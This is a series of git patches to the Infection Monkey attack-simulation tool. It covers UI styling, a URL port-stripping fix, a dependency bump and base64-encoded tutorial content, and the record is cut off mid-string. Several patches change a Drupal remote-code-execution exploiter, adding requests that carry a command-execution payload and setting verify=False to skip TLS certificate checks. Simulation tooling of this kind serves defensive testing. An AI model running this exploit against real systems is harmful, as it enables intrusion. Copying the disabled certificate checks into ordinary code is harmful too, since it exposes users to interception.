--- a/monkey/monkey_island/cc/ui/src/components/report-components/attack/SelectedTechnique.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/attack/SelectedTechnique.js
@@ -38,7 +38,8 @@ class SelectedTechnique extends React.Component {
-
+
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/attack/TechniqueDropdowns.js b/monkey/monkey_island/cc/ui/src/components/report-components/attack/TechniqueDropdowns.js
index 1ba9285e6..13e5e23a3 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/attack/TechniqueDropdowns.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/attack/TechniqueDropdowns.js
@@ -43,8 +43,9 @@ class TechniqueDropdowns extends React.Component{
{this.state.techniques[tech_id].title}
-
-
+
+
diff --git a/monkey/monkey_island/cc/ui/src/styles/components/Collapse.scss b/monkey/monkey_island/cc/ui/src/styles/components/Collapse.scss
index b74088a77..3e578d45c 100644
--- a/monkey/monkey_island/cc/ui/src/styles/components/Collapse.scss
+++ b/monkey/monkey_island/cc/ui/src/styles/components/Collapse.scss
@@ -1,9 +1,9 @@
$transition: 300ms cubic-bezier(0.6, 0.3, 0.3, 0.6);
$danger-color: #ebbcba;
-$disabled-color: #f4f4f4;
+$disabled-color: #f2f2f2;
$info-color: #ade3eb;
-$default-color: #cbcbcb;
+$default-color: #8c8c8c;
$warning-color: #ffe28d;
.collapse-item button {
@@ -53,6 +53,7 @@ $warning-color: #ffe28d;
.collapse-default {
background-color: $default-color !important;
+ color: #ffffff;
}
.collapse-disabled {
diff --git a/monkey/monkey_island/cc/ui/src/styles/pages/report/ReportAttackMatrix.scss b/monkey/monkey_island/cc/ui/src/styles/pages/report/ReportAttackMatrix.scss
index 7cfa62157..edacf9672 100644
--- a/monkey/monkey_island/cc/ui/src/styles/pages/report/ReportAttackMatrix.scss
+++ b/monkey/monkey_island/cc/ui/src/styles/pages/report/ReportAttackMatrix.scss
@@ -1,13 +1,13 @@
// colors
-$disabled: #f4f4f4;
-$not-attempted: #cbcbcb;
+$disabled: #f2f2f2;
+$not-attempted: #8c8c8c;
$attempted: #ffe28d;
$used: #ebbcba;
$black: #3a3a3a;
.attack-matrix .status-0 {
background-color: $not-attempted !important;
- color: $black;
+ color: #ffffff;
}
.attack-matrix .status-1 {
@@ -23,6 +23,7 @@ $black: #3a3a3a;
.attack-matrix .status-3 {
background-color: $disabled !important;
color: $black;
+ text-decoration: line-through;
}
.attack-matrix div.rt-td:hover {
From eb4f50a0ca309e589a2270396a4e67218e47872f Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Wed, 2 Sep 2020 00:17:02 +0300
Subject: [PATCH 57/81] keep path after removing port from URL
---
monkey/common/network/network_utils.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/monkey/common/network/network_utils.py b/monkey/common/network/network_utils.py
index 859bafb1f..e99d0cf2b 100644
--- a/monkey/common/network/network_utils.py
+++ b/monkey/common/network/network_utils.py
@@ -16,5 +16,5 @@ def get_host_from_network_location(network_location: str) -> str:
def remove_port(url):
parsed = urlparse(url)
with_port = f'{parsed.scheme}://{parsed.netloc}'
- without_port = re.sub(':[0-9]+$', '', with_port)
+ without_port = re.sub(':[0-9]+(?=$|\/)', '', with_port)
return without_port
From 702f5c1a41fcd5aa56ad655e17ee25ed54163500 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Wed, 2 Sep 2020 00:17:46 +0300
Subject: [PATCH 58/81] verify=False for HTTPS requests
---
monkey/infection_monkey/exploit/drupal.py | 10 +++++++---
1 file changed, 7 insertions(+), 3 deletions(-)
diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py
index f28c002c3..3a333d827 100644
--- a/monkey/infection_monkey/exploit/drupal.py
+++ b/monkey/infection_monkey/exploit/drupal.py
@@ -75,7 +75,8 @@ class DrupalExploiter(WebRCE):
response = requests.get(f'{url}?_format=hal_json',
json=payload,
- headers={"Content-Type": "application/hal+json"})
+ headers={"Content-Type": "application/hal+json"},
+ verify=False)
if is_response_cached(response):
LOG.info(f'Checking if node {url} is vuln returned cache HIT, ignoring')
@@ -89,8 +90,11 @@ class DrupalExploiter(WebRCE):
base = remove_port(url)
payload = build_cmd_execution_payload(base, cmd)
- r = requests.get(f'{url}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"})
-
+ r = requests.get(f'{url}?_format=hal_json',
+ json=payload,
+ headers={"Content-Type": "application/hal+json"},
+ verify=False)
+
if is_response_cached(r):
LOG.info(f'Exploiting {url} returned cache HIT, may have failed')
From b9186376f997da5fe229af7ccebe199d922eda73 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Wed, 2 Sep 2020 00:18:12 +0300
Subject: [PATCH 59/81] add OS name to logs
---
monkey/infection_monkey/monkey.py | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py
index 07431bae9..a15a06edf 100644
--- a/monkey/infection_monkey/monkey.py
+++ b/monkey/infection_monkey/monkey.py
@@ -337,8 +337,8 @@ class InfectionMonkey(object):
:return: True if successfully exploited, False otherwise
"""
if not exploiter.is_os_supported():
- LOG.info("Skipping exploiter %s host:%r, os is not supported",
- exploiter.__class__.__name__, machine)
+ LOG.info("Skipping exploiter %s host:%r, os %s is not supported",
+ exploiter.__class__.__name__, machine, machine.os)
return False
LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__)
From f43664cf5c13913c27749ca6b99aa82f2403d5e8 Mon Sep 17 00:00:00 2001
From: snyk-bot
Date: Wed, 2 Sep 2020 07:03:15 +0000
Subject: [PATCH 60/81] fix: upgrade snyk from 1.372.0 to 1.373.0
Snyk has created this PR to upgrade snyk from 1.372.0 to 1.373.0.
See this package in npm:
https://www.npmjs.com/package/snyk
See this project in Snyk:
https://app.snyk.io/org/guardicore/project/b4a24b2f-c0d4-474c-9f18-da5a77c685fe?utm_source=github&utm_medium=upgrade-pr
---
monkey/monkey_island/cc/ui/package-lock.json | 12 ++++++------
monkey/monkey_island/cc/ui/package.json | 2 +-
2 files changed, 7 insertions(+), 7 deletions(-)
diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json
index c1ae3ec13..7edb9342a 100644
--- a/monkey/monkey_island/cc/ui/package-lock.json
+++ b/monkey/monkey_island/cc/ui/package-lock.json
@@ -8701,9 +8701,9 @@
}
},
"needle": {
- "version": "2.5.0",
- "resolved": "https://registry.npmjs.org/needle/-/needle-2.5.0.tgz",
- "integrity": "sha512-o/qITSDR0JCyCKEQ1/1bnUXMmznxabbwi/Y4WwJElf+evwJNFNwIDMCCt5IigFVxgeGBJESLohGtIS9gEzo1fA==",
+ "version": "2.5.2",
+ "resolved": "https://registry.npmjs.org/needle/-/needle-2.5.2.tgz",
+ "integrity": "sha512-LbRIwS9BfkPvNwNHlsA41Q29kL2L/6VaOJ0qisM5lLWsTV3nP15abO5ITL6L81zqFhzjRKDAYjpcBcwM0AVvLQ==",
"requires": {
"debug": "^3.2.6",
"iconv-lite": "^0.4.4",
@@ -14858,9 +14858,9 @@
}
},
"snyk": {
- "version": "1.372.0",
- "resolved": "https://registry.npmjs.org/snyk/-/snyk-1.372.0.tgz",
- "integrity": "sha512-5eX7cEmbPtpZ9w+vQIEIf9tlb3FOEN36cnSFpla4bTim2biGTx50lWPKYAclX3z1tlLt654rdJfpTt5tOqWxUQ==",
+ "version": "1.373.0",
+ "resolved": "https://registry.npmjs.org/snyk/-/snyk-1.373.0.tgz",
+ "integrity": "sha512-P/BF3DnMbP2NFHw4RcQ2w4MwashUH2/lkezNq0bn51OJqktfrn/aebcJxe6RtSKemww5z8DSen8D2REz1Vzc6Q==",
"requires": {
"@snyk/cli-interface": "2.8.1",
"@snyk/dep-graph": "1.18.3",
diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json
index d6de01941..abc82758d 100644
--- a/monkey/monkey_island/cc/ui/package.json
+++ b/monkey/monkey_island/cc/ui/package.json
@@ -105,7 +105,7 @@
"react-tooltip-lite": "^1.12.0",
"redux": "^4.0.4",
"sha3": "^2.1.3",
- "snyk": "^1.372.0"
+ "snyk": "^1.373.0"
},
"snyk": true
}
From 5bf6f654e1c49e8c224909bfa894a8fdc87f43d6 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Wed, 2 Sep 2020 12:36:00 +0300
Subject: [PATCH 61/81] deleted unused ports
---
monkey/infection_monkey/exploit/drupal.py | 1 -
1 file changed, 1 deletion(-)
diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py
index 3a333d827..a5d162167 100644
--- a/monkey/infection_monkey/exploit/drupal.py
+++ b/monkey/infection_monkey/exploit/drupal.py
@@ -21,7 +21,6 @@ LOG = logging.getLogger(__name__)
class DrupalExploiter(WebRCE):
_TARGET_OS_TYPE = ['linux', 'windows']
_EXPLOITED_SERVICE = 'Drupal Server'
- DRUPAL_PORTS = [[80, False], [443, True]]
def __init__(self, host):
super(DrupalExploiter, self).__init__(host)
From 7e7ca954d3d7da139984e69056c12dc1fec68029 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Wed, 2 Sep 2020 12:43:40 +0300
Subject: [PATCH 62/81] delete whitespaces for CI
---
monkey/infection_monkey/exploit/drupal.py | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py
index a5d162167..7f88ed07a 100644
--- a/monkey/infection_monkey/exploit/drupal.py
+++ b/monkey/infection_monkey/exploit/drupal.py
@@ -93,7 +93,7 @@ class DrupalExploiter(WebRCE):
json=payload,
headers={"Content-Type": "application/hal+json"},
verify=False)
-
+
if is_response_cached(r):
LOG.info(f'Exploiting {url} returned cache HIT, may have failed')
@@ -110,7 +110,7 @@ class DrupalExploiter(WebRCE):
:return: vulnerable URL to exploit
"""
return self.vulnerable_urls.pop()
-
+
def are_vulnerable_urls_sufficient(self):
"""
For the Drupal exploit, 5 distinct URLs are needed to perform the full attack.
From e69ff81e6f9ccc016f3840e645469ff453b8a385 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Wed, 2 Sep 2020 12:45:09 +0300
Subject: [PATCH 63/81] approve ignoring certificates for CI
---
monkey/infection_monkey/exploit/drupal.py | 6 +++---
1 file changed, 3 insertions(+), 3 deletions(-)
diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py
index 7f88ed07a..6cada4f36 100644
--- a/monkey/infection_monkey/exploit/drupal.py
+++ b/monkey/infection_monkey/exploit/drupal.py
@@ -75,7 +75,7 @@ class DrupalExploiter(WebRCE):
response = requests.get(f'{url}?_format=hal_json',
json=payload,
headers={"Content-Type": "application/hal+json"},
- verify=False)
+ verify=False) # noqa: DUO123
if is_response_cached(response):
LOG.info(f'Checking if node {url} is vuln returned cache HIT, ignoring')
@@ -92,7 +92,7 @@ class DrupalExploiter(WebRCE):
r = requests.get(f'{url}?_format=hal_json',
json=payload,
headers={"Content-Type": "application/hal+json"},
- verify=False)
+ verify=False) # noqa: DUO123
if is_response_cached(r):
LOG.info(f'Exploiting {url} returned cache HIT, may have failed')
@@ -136,7 +136,7 @@ def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 100
articles = set()
while lower < upper:
node_url = urljoin(base_url, str(lower))
- response = requests.get(node_url, verify=False)
+ response = requests.get(node_url, verify=False) # noqa: DUO123
if response.status_code == 200:
if is_response_cached(response):
LOG.info(f'Found a cached article at: {node_url}, skipping')
From 658a744c5aa1994855fc04a8e613f669f94a70d8 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Wed, 2 Sep 2020 12:50:47 +0300
Subject: [PATCH 64/81] move noqa to the invocation line
---
monkey/infection_monkey/exploit/drupal.py | 8 ++++----
1 file changed, 4 insertions(+), 4 deletions(-)
diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py
index 6cada4f36..84919baef 100644
--- a/monkey/infection_monkey/exploit/drupal.py
+++ b/monkey/infection_monkey/exploit/drupal.py
@@ -72,10 +72,10 @@ class DrupalExploiter(WebRCE):
"""
payload = build_exploitability_check_payload(url)
- response = requests.get(f'{url}?_format=hal_json',
+ response = requests.get(f'{url}?_format=hal_json', # noqa: DUO123
json=payload,
headers={"Content-Type": "application/hal+json"},
- verify=False) # noqa: DUO123
+ verify=False)
if is_response_cached(response):
LOG.info(f'Checking if node {url} is vuln returned cache HIT, ignoring')
@@ -89,10 +89,10 @@ class DrupalExploiter(WebRCE):
base = remove_port(url)
payload = build_cmd_execution_payload(base, cmd)
- r = requests.get(f'{url}?_format=hal_json',
+ r = requests.get(f'{url}?_format=hal_json', # noqa: DUO123
json=payload,
headers={"Content-Type": "application/hal+json"},
- verify=False) # noqa: DUO123
+ verify=False)
if is_response_cached(r):
LOG.info(f'Exploiting {url} returned cache HIT, may have failed')
From 47d5b264eafeb5e97f8c089ff08a35f757ef608f Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Wed, 2 Sep 2020 12:51:05 +0300
Subject: [PATCH 65/81] decrement number of allowed warnings
---
.travis.yml | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/.travis.yml b/.travis.yml
index fcd9fc36b..fc079ea76 100644
--- a/.travis.yml
+++ b/.travis.yml
@@ -72,7 +72,7 @@ script:
## Display the linter issues
- cat flake8_warnings.txt
## Make sure that we haven't increased the amount of warnings.
-- PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT=90
+- PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT=80
- if [ $(tail -n 1 flake8_warnings.txt) -gt $PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT ]; then echo "Too many python linter warnings! Failing this build. Lower the amount of linter errors in this and try again. " && exit 1; fi
## Check import order
From 36cf5f40c8787c8c32a782ea05e5726db25b9995 Mon Sep 17 00:00:00 2001
From: Swimm
Date: Wed, 2 Sep 2020 19:14:50 +0300
Subject: [PATCH 66/81] =?UTF-8?q?Swimm:=20saved=20Unit=20'Add=20a=20new=20?=
=?UTF-8?q?configuration=20value=20and=20use=20it=20in=20the=20Monkey=20Ag?=
=?UTF-8?q?ent=20=E2=9A=99'=20(AzD8XysWg1BBXCjCDkfq)?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
---
.swm/AzD8XysWg1BBXCjCDkfq.swm | 8 ++++----
1 file changed, 4 insertions(+), 4 deletions(-)
diff --git a/.swm/AzD8XysWg1BBXCjCDkfq.swm b/.swm/AzD8XysWg1BBXCjCDkfq.swm
index 0b9ccb5c0..1c0288a9e 100644
--- a/.swm/AzD8XysWg1BBXCjCDkfq.swm
+++ b/.swm/AzD8XysWg1BBXCjCDkfq.swm
@@ -1,6 +1,6 @@
{
"id": "AzD8XysWg1BBXCjCDkfq",
- "name": "Make something configurable β",
+ "name": "Add a new configuration value and use it in the Monkey Agent β",
"tests": [],
"hints": [
"Look for `victims_max_exploit` - it's rather similar."
@@ -50,9 +50,9 @@
}
},
"diff": "ZGlmZiUyMC0tZ2l0JTIwYSUyRm1vbmtleSUyRmluZmVjdGlvbl9tb25rZXklMkZjb25maWcucHklMjBiJTJGbW9ua2V5JTJGaW5mZWN0aW9uX21vbmtleSUyRmNvbmZpZy5weSUwQWluZGV4JTIwMWZiY2I4NzYuLjY3ZWQxOWRlJTIwMTAwNjQ0JTBBLS0tJTIwYSUyRm1vbmtleSUyRmluZmVjdGlvbl9tb25rZXklMkZjb25maWcucHklMEElMkIlMkIlMkIlMjBiJTJGbW9ua2V5JTJGaW5mZWN0aW9uX21vbmtleSUyRmNvbmZpZy5weSUwQSU0MCU0MCUyMC0xMzElMkM5JTIwJTJCMTMxJTJDNiUyMCU0MCU0MCUyMGNsYXNzJTIwQ29uZmlndXJhdGlvbihvYmplY3QpJTNBJTBBJTIwJTIwJTIwJTIwJTIwZXhwbG9pdGVyX2NsYXNzZXMlMjAlM0QlMjAlNUIlNUQlMEElMjAlMjAlMjAlMjAlMjBzeXN0ZW1faW5mb19jb2xsZWN0b3JfY2xhc3NlcyUyMCUzRCUyMCU1QiU1RCUwQSUyMCUwQS0lMjAlMjAlMjAlMjAlMjMlMjBob3clMjBtYW55JTIwdmljdGltcyUyMHRvJTIwbG9vayUyMGZvciUyMGluJTIwYSUyMHNpbmdsZSUyMHNjYW4lMjBpdGVyYXRpb24lMEEtJTIwJTIwJTIwJTIwdmljdGltc19tYXhfZmluZCUyMCUzRCUyMDEwMCUwQS0lMEElMjAlMjAlMjAlMjAlMjAlMjMlMjBob3clMjBtYW55JTIwdmljdGltcyUyMHRvJTIwZXhwbG9pdCUyMGJlZm9yZSUyMHN0b3BwaW5nJTBBJTIwJTIwJTIwJTIwJTIwdmljdGltc19tYXhfZXhwbG9pdCUyMCUzRCUyMDEwMCUwQSUyMCUwQWRpZmYlMjAtLWdpdCUyMGElMkZtb25rZXklMkZpbmZlY3Rpb25fbW9ua2V5JTJGbW9ua2V5LnB5JTIwYiUyRm1vbmtleSUyRmluZmVjdGlvbl9tb25rZXklMkZtb25rZXkucHklMEFpbmRleCUyMDQ0NGJkZTQ1Li5mZjIzZjY3MSUyMDEwMDY0NCUwQS0tLSUyMGElMkZtb25rZXklMkZpbmZlY3Rpb25fbW9ua2V5JTJGbW9ua2V5LnB5JTBBJTJCJTJCJTJCJTIwYiUyRm1vbmtleSUyRmluZmVjdGlvbl9tb25rZXklMkZtb25rZXkucHklMEElNDAlNDAlMjAtMTU4JTJDNyUyMCUyQjE1OCUyQzclMjAlNDAlNDAlMjBjbGFzcyUyMEluZmVjdGlvbk1vbmtleShvYmplY3QpJTNBJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwaWYlMjBub3QlMjBzZWxmLl9rZWVwX3J1bm5pbmclMjBvciUyMG5vdCUyMFdvcm1Db25maWd1cmF0aW9uLmFsaXZlJTNBJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwYnJlYWslMEElMjAlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwbWFjaGluZXMlMjAlM0QlMjBzZWxmLl9uZXR3b3JrLmdldF92aWN0aW1fbWFjaGluZXMobWF4X2ZpbmQlM0RXb3JtQ29uZmlndXJhdGlvbi52aWN0aW1zX21heF9maW5kJTJDJTBBJTJCJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwbWFjaGluZXMlMjAlM0QlMjBzZWxmLl9uZXR3b3JrLmdldF92aWN0aW1fbWFjaGluZXMobWF4X2ZpbmQlM0QxMDAlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBzdG9wX2NhbGxiYWNrJTNEQ29udHJvbENsaWVudC5jaGVja19mb3Jfc3RvcCklMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBpc19lbXB0eSUyMCUzRCUyMFRydWUlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBmb3IlMjBtYWNoaW5lJTIwaW4lMjBtYWNoaW5lcyUzQSUwQWRpZmYlMjAtLWdpdCUyMGElMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZpbnRlcm5hbC5weSUyMGIlMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZpbnRlcm5hbC5weSUwQWluZGV4JTIwYmRiYWUyNDYuLmQ2MDQyZDM1JTIwMTAwNjQ0JTBBLS0tJTIwYSUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGY29uZmlnX3NjaGVtYSUyRmludGVybmFsLnB5JTBBJTJCJTJCJTJCJTIwYiUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGY29uZmlnX3NjaGVtYSUyRmludGVybmFsLnB5JTBBJTQwJTQwJTIwLTQwJTJDMTIlMjAlMkI0MCUyQzYlMjAlNDAlNDAlMjBJTlRFUk5BTCUyMCUzRCUyMCU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnRpdGxlJTIyJTNBJTIwJTIyTW9ua2V5JTIyJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIydHlwZSUyMiUzQSUyMCUyMm9iamVjdCUyMiUyQyUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnByb3BlcnRpZXMlMjIlM0ElMjAlN0IlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIydmljdGltc19tYXhfZmluZCUyMiUzQSUyMCU3QiUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJ0aXRsZSUyMiUzQSUyMCUyMk1heCUyMHZpY3RpbXMlMjB0byUyMGZpbmQlMjIlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIydHlwZSUyMiUzQSUyMCUyMmludGVnZXIlMjIlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyZGVmYXVsdCUyMiUzQSUyMDEwMCUyQyUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJkZXNjcmlwdGlvbiUyMiUzQSUyMCUyMkRldGVybWluZXMlMjB0aGUlMjBtYXhpbXVtJTIwbnVtYmVyJTIwb2YlMjBtYWNoaW5lcyUyMHRoZSUyMG1vbmtleSUyMGlzJTIwYWxsb3dlZCUyMHRvJTIwc2NhbiUyMiUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJ2aWN0aW1zX21heF9leHBsb2l0JTIyJTNBJTIwJTdCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIydGl0bGUlMjIlM0ElMjAlMjJNYXglMjB2aWN0aW1zJTIwdG8lMjBleHBsb2l0JTIyJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIydHlwZSUyMiUzQSUyMCUyMmludGVnZXIlMjIlMkMlMEE=",
- "description": "JTIzJTIwV2h5JTIwY29uZmlnJTBBJTBBVE9ETyUwQSUwQSUyMyUyMFdoYXQlMjBpcyUyMCUyMk1heCUyMHZpY3RpbSUyMG51bWJlciUyMiUwQSUwQVRPRE8lMEElMEElMjMlMjBDaGVjayUyMHlvdXJzZWxmJTIwYmVmb3JlJTIweW91JTIwd3JlY2slMjB5b3Vyc2VsZiUwQSUwQTEuJTIwQWZ0ZXIlMjB5b3UndmUlMjBkb25lJTIwdGhlJTIwY2hhbmdlcyUyQyUyMHJlbG9hZCUyMHRoZSUyMFNlcnZlciUyMGFuZCUyMGNoZWNrJTIweW91ciUyMHZhbHVlJTIwZXhpc3RzJTIwaW4lMjB0aGUlMjBJbnRlcm5hbCUyMHRhYiUyMG9mJTIwdGhlJTIwY29uZmlnJTIwKHNlZSUyMGltYWdlKSUwQTEuJTIwUnVuJTIwTW9ua2V5JTIwd2l0aCUyMDElMjBpbiUyMHRoZSUyMG5ldyUyMHZhbHVlJTIwKGNvbmZpZ3VyZWQpJTIwYW5kJTIwc2VlJTIwdGhhdCUyMGl0JTIwb25seSUyMHNjYW5zJTIwb25lJTIwbWFjaGluZS4lMEElMEEhJTVCY29uZmlnJTIwaW1hZ2UlNUQoaHR0cHMlM0ElMkYlMkZzdGFnaW5nLWNvdnV5aWN1LmtpbnN0YS5jbG91ZCUyRmluZmVjdGlvbm1vbmtleSUyRmRvY3MlMkZpbWFnZXMlMkZ1c2FnZSUyRnNjZW5hcmlvcyUyRnBiYS1leGFtcGxlLnBuZyk=",
- "dod": "TWFrZSUyMHRoZSUyMG1heCUyMHZpY3RpbSUyMG51bWJlciUyMGNvbmZpZ3VyYWJsZSUyMGJ5JTIwdGhlJTIwdXNlcg==",
+ "description": "JTIzJTIwTWFrZSUyMHNvbWV0aGluZyUyMGNvbmZpZ3VyYWJsZSUwQSUwQUluJTIwdGhpcyUyMHVuaXQlMkMlMjB5b3UlMjB3aWxsJTIwbGVhcm4lMjBob3clMjB0byUyMGFkZCUyMGElMjBjb25maWd1cmF0aW9uJTIwb3B0aW9uJTIwdG8lMjBNb25rZXklMjBhbmQlMjBob3clMjB0byUyMHVzZSUyMGl0JTIwaW4lMjB0aGUlMjBNb25rZXklMjBBZ2VudCUyMGNvZGUuJTIwJTBBJTBBISU1QmNvbXB1dGVyJTIwZmlyZSU1RChodHRwcyUzQSUyRiUyRm1lZGlhLmdpcGh5LmNvbSUyRm1lZGlhJTJGN0o0UDdjVXVyMkRsRXJpanAzJTJGZ2lwaHkuZ2lmJTIwJTIyY29tcHV0ZXIlMjBmaXJlJTIyKSUwQSUwQSUyMyUyMyUyMFdoeSUyMGlzJTIwdGhpcyUyMGltcG9ydGFudCUzRiUwQSUwQUVuYWJsaW5nJTIwdXNlcnMlMjB0byUyMGNvbmZpZ3VyZSUyMHRoZSUyME1vbmtleSdzJTIwYmVoYXZpb3VyJTIwZ2l2ZXMlMjB0aGVtJTIwYSUyMGxvdCUyMG1vcmUlMjBmcmVlZG9tJTIwaW4lMjBob3clMjB0aGV5JTIwd2FudCUyMHRvJTIwdXNlJTIwdGhlJTIwTW9ua2V5JTIwYW5kJTIwZW5hYmxlcyUyMG1vcmUlMjB1c2UlMjBjYXNlcy4lMEElMEElMjMlMjMlMjBXaGF0JTIwaXMlMjAlMjJNYXglMjB2aWN0aW1zJTIwdG8lMjBmaW5kJTIyJTNGJTBBJTBBVGhlJTIwTW9ua2V5JTIwaGFzJTIwYSUyMGZ1bmN0aW9uJTIwd2hpY2glMjBmaW5kcyUyMCUyMnZpY3RpbSUyMiUyMG1hY2hpbmVzJTIwb24lMjB0aGUlMjBuZXR3b3JrJTIwZm9yJTIwdGhlJTIwTW9ua2V5JTIwdG8lMjB0cnklMjBhbmQlMjBleHBsb2l0LiUyMEl0J3MlMjBjYWxsZWQlMjAlNjBnZXRfdmljdGltX21hY2hpbmVzJTYwLiUyMFRoaXMlMjBmdW5jdGlvbiUyMGFjY2VwdHMlMjBhbiUyMGFyZ3VtZW50JTIwd2hpY2glMjBsaW1pdHMlMjBob3clMjBtYW55JTIwbWFjaGluZXMlMjB0aGUlMjBNb25rZXklMjBzaG91bGQlMjBmaW5kLiUwQSUwQVdlJTIwd2FudCUyMHRvJTIwbWFrZSUyMHRoYXQlMjB2YWx1ZSUyMGVkaXRhYmxlJTIwYnklMjB0aGUlMjB1c2VyJTIwaW5zdGVhZCUyMG9mJTIwY29uc3RhbnQlMjBpbiUyMHRoZSUyMGNvZGUuJTBBJTBBJTIzJTIzJTIwTWFudWFsJTIwdGVzdGluZyUwQSUwQTEuJTIwQWZ0ZXIlMjB5b3UndmUlMjBwZXJmb3JtZWQlMjB0aGUlMjByZXF1aXJlZCUyMGNoYW5nZXMlMkMlMjByZWxvYWQlMjB0aGUlMjBTZXJ2ZXIlMjBhbmQlMjBjaGVjayUyMHlvdXIlMjB2YWx1ZSUyMGV4aXN0cyUyMGluJTIwdGhlJTIwSW50ZXJuYWwlMjB0YWIlMjBvZiUyMHRoZSUyMGNvbmZpZyUyMChzZWUlMjBpbWFnZSkuJTBBJTBBISU1QiU1RChodHRwcyUzQSUyRiUyRmkuaW1ndXIuY29tJTJGZTBYQXh1Vi5wbmcpJTBBJTBBMi4lMjBTZXQlMjB0aGUlMjBuZXclMjB2YWx1ZSUyMHRvJTIwMSUyQyUyMGFuZCUyMHJ1biUyME1vbmtleSUyMGxvY2FsbHklMjAoZnJvbSUyMHNvdXJjZSkuJTIwU2VlJTIwdGhhdCUyMHRoZSU